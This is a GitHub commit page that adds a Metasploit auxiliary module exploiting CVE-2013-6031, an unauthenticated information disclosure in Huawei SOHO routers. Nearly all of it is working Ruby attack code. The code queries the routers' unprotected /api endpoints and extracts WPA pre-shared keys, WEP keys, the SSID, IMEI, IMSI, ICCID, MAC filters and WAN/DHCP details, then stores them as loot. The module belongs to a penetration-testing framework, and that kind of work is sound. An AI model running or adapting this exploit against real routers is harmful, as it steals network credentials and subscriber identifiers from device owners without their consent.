Skip to content

Commit b4419af

Browse files
committed
Land rapid7#3019, @aczire's module for Huawei info disclosure
* Module for CVE-2013-6031
2 parents 32746e0 + c6901ca commit b4419af

File tree

1 file changed

+296
-0
lines changed

1 file changed

+296
-0
lines changed
Lines changed: 296 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,296 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'base64'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Report
13+
14+
BASIC_INFO = {
15+
'Device Name' => /<DeviceName>(.*)<\/DeviceName>/i,
16+
'Serial Number' => /<SerialNumber>(.*)<\/SerialNumber>/i,
17+
'IMEI' => /<Imei>(.*)<\/Imei>/i,
18+
'IMSI' => /<Imsi>(.*)<\/Imsi>/i,
19+
'ICCID' => /<Iccid>(.*)<\/Iccid>/i,
20+
'Hardware Version' => /<HardwareVersion>(.*)<\/HardwareVersion>/i,
21+
'Software Version' => /<SoftwareVersion>(.*)<\/SoftwareVersion>/i,
22+
'WebUI Version' => /<WebUIVersion>(.*)<\/WebUIVersion>/i,
23+
'Mac Address1' => /<MacAddress1>(.*)<\/MacAddress1>/i,
24+
'Mac Address2' => /<MacAddress2>(.*)<\/MacAddress2>/i,
25+
'Product Family' => /<ProductFamily>(.*)<\/ProductFamily>/i,
26+
'Classification' => /<Classify>(.*)<\/Classify>/i
27+
}
28+
29+
WAN_INFO = {
30+
'Wan IP Address' => /<WanIPAddress>(.*)<\/WanIPAddress>/i,
31+
'Primary Dns' => /<PrimaryDns>(.*)<\/PrimaryDns>/i,
32+
'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i
33+
}
34+
35+
DHCP_INFO ={
36+
'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i,
37+
'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i,
38+
'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i,
39+
'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i
40+
}
41+
42+
WIFI_INFO = {
43+
'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/WifiWpapsk>/i,
44+
'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/WifiAuthmode>/i,
45+
'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i,
46+
'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i,
47+
'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/WifiWepKey1>/i,
48+
'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/WifiWepKey2>/i,
49+
'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/WifiWepKey3>/i,
50+
'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/WifiWepKey4>/i,
51+
'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i
52+
}
53+
54+
def initialize(info={})
55+
super(update_info(info,
56+
'Name' => "Huawei Datacard Information Disclosure Vulnerability",
57+
'Description' => %q{
58+
This module exploits an un-authenticated information disclosure vulnerability in Huawei
59+
SOHO routers. The module will gather information by accessing the /api pages where
60+
authentication is not required, allowing configuration changes as well as information
61+
disclosure including any stored SMS.
62+
},
63+
'License' => MSF_LICENSE,
64+
'Author' =>
65+
[
66+
'Jimson K James.',
67+
'<tomsmaily[at]aczire.com>', # Msf module
68+
],
69+
'References' =>
70+
[
71+
['CWE', '425'],
72+
['CVE', '2013-6031'],
73+
['US-CERT-VU', '341526'],
74+
['URL', 'http://www.huaweidevice.co.in/Support/Downloads/'],
75+
],
76+
'DisclosureDate' => "Nov 11 2013" ))
77+
78+
register_options(
79+
[
80+
Opt::RHOST('mobilewifi.home')
81+
], self.class)
82+
83+
end
84+
85+
#Gather basic router information
86+
def run
87+
get_router_info
88+
print_line('')
89+
get_router_mac_filter_info
90+
print_line('')
91+
get_router_wan_info
92+
print_line('')
93+
get_router_dhcp_info
94+
print_line('')
95+
get_wifi_info
96+
end
97+
98+
def get_wifi_info
99+
100+
print_status("#{peer} - Getting WiFi Key details...")
101+
res = send_request_raw(
102+
{
103+
'method' => 'GET',
104+
'uri' => '/api/wlan/security-settings',
105+
})
106+
107+
unless is_target?(res)
108+
return
109+
end
110+
111+
resp_body = res.body.to_s
112+
log = ''
113+
114+
print_status("WiFi Key Details")
115+
116+
wifi_ssid = get_router_ssid
117+
if wifi_ssid
118+
print_status("WiFi SSID: #{wifi_ssid}")
119+
log << "WiFi SSID: #{wifi_ssid}\n"
120+
end
121+
122+
WIFI_INFO.each do |k,v|
123+
if resp_body.match(v)
124+
info = $1
125+
print_status("#{k}: #{info}")
126+
log << "#{k}: #{info}\n"
127+
end
128+
end
129+
130+
report_note(
131+
:host => rhost,
132+
:type => 'wifi_keys',
133+
:data => log
134+
)
135+
end
136+
137+
def get_router_info
138+
139+
print_status("#{peer} - Gathering basic device information...")
140+
res = send_request_raw(
141+
{
142+
'method' => 'GET',
143+
'uri' => '/api/device/information',
144+
})
145+
146+
unless is_target?(res)
147+
return
148+
end
149+
150+
resp_body = res.body.to_s
151+
152+
print_status("Basic Information")
153+
154+
BASIC_INFO.each do |k,v|
155+
if resp_body.match(v)
156+
info = $1
157+
print_status("#{k}: #{info}")
158+
end
159+
end
160+
end
161+
162+
def get_router_ssid
163+
print_status("#{peer} - Gathering device SSID...")
164+
165+
res = send_request_raw(
166+
{
167+
'method' => 'GET',
168+
'uri' => '/api/wlan/basic-settings',
169+
})
170+
171+
#check whether we got any response from server and proceed.
172+
unless is_target?(res)
173+
return nil
174+
end
175+
176+
resp_body = res.body.to_s
177+
178+
# Grabbing the Wifi SSID
179+
if resp_body.match(/<WifiSsid>(.*)<\/WifiSsid>/i)
180+
return $1
181+
end
182+
183+
nil
184+
end
185+
186+
def get_router_mac_filter_info
187+
print_status("#{peer} - Gathering MAC filters...")
188+
res = send_request_raw(
189+
{
190+
'method' => 'GET',
191+
'uri' => '/api/wlan/mac-filter',
192+
})
193+
194+
unless is_target?(res)
195+
return
196+
end
197+
198+
print_status('MAC Filter Information')
199+
200+
resp_body = res.body.to_s
201+
202+
if resp_body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i)
203+
wifi_mac_filter_status = $1
204+
print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" )
205+
end
206+
207+
(0..9).each do |i|
208+
if resp_body.match(/<WifiMacFilterMac#{i}>(.*)<\/WifiMacFilterMac#{i}>/i)
209+
wifi_mac_filter = $1
210+
unless wifi_mac_filter.empty?
211+
print_status("Mac: #{wifi_mac_filter}")
212+
end
213+
end
214+
end
215+
end
216+
217+
def get_router_wan_info
218+
print_status("#{peer} - Gathering WAN information...")
219+
res = send_request_raw(
220+
{
221+
'method' => 'GET',
222+
'uri' => '/api/monitoring/status',
223+
})
224+
225+
unless is_target?(res)
226+
return
227+
end
228+
229+
resp_body = res.body.to_s
230+
231+
print_status('WAN Details')
232+
233+
WAN_INFO.each do |k,v|
234+
if resp_body.match(v)
235+
info = $1
236+
print_status("#{k}: #{info}")
237+
end
238+
end
239+
end
240+
241+
def get_router_dhcp_info
242+
print_status("#{peer} - Gathering DHCP information...")
243+
res = send_request_raw(
244+
{
245+
'method' => 'GET',
246+
'uri' => '/api/dhcp/settings',
247+
})
248+
249+
unless is_target?(res)
250+
return
251+
end
252+
253+
resp_body = res.body.to_s
254+
255+
print_status('DHCP Details')
256+
257+
# Grabbing the DhcpStatus
258+
if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i)
259+
dhcp_status = $1
260+
print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}")
261+
end
262+
263+
unless dhcp_status && dhcp_status == '1'
264+
return
265+
end
266+
267+
DHCP_INFO.each do |k,v|
268+
if resp_body.match(v)
269+
info = $1
270+
print_status("#{k}: #{info}")
271+
end
272+
end
273+
end
274+
275+
def is_target?(res)
276+
#check whether we got any response from server and proceed.
277+
unless res
278+
print_error("#{peer} - Failed to get any response from server")
279+
return false
280+
end
281+
282+
#Is it a HTTP OK
283+
unless res.code == 200
284+
print_error("#{peer} - Did not get HTTP 200, URL was not found")
285+
return false
286+
end
287+
288+
#Check to verify server reported is a Huawei router
289+
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
290+
print_error("#{peer} - Target doesn't seem to be a Huawei router")
291+
return false
292+
end
293+
294+
true
295+
end
296+
end

0 commit comments

Comments
 (0)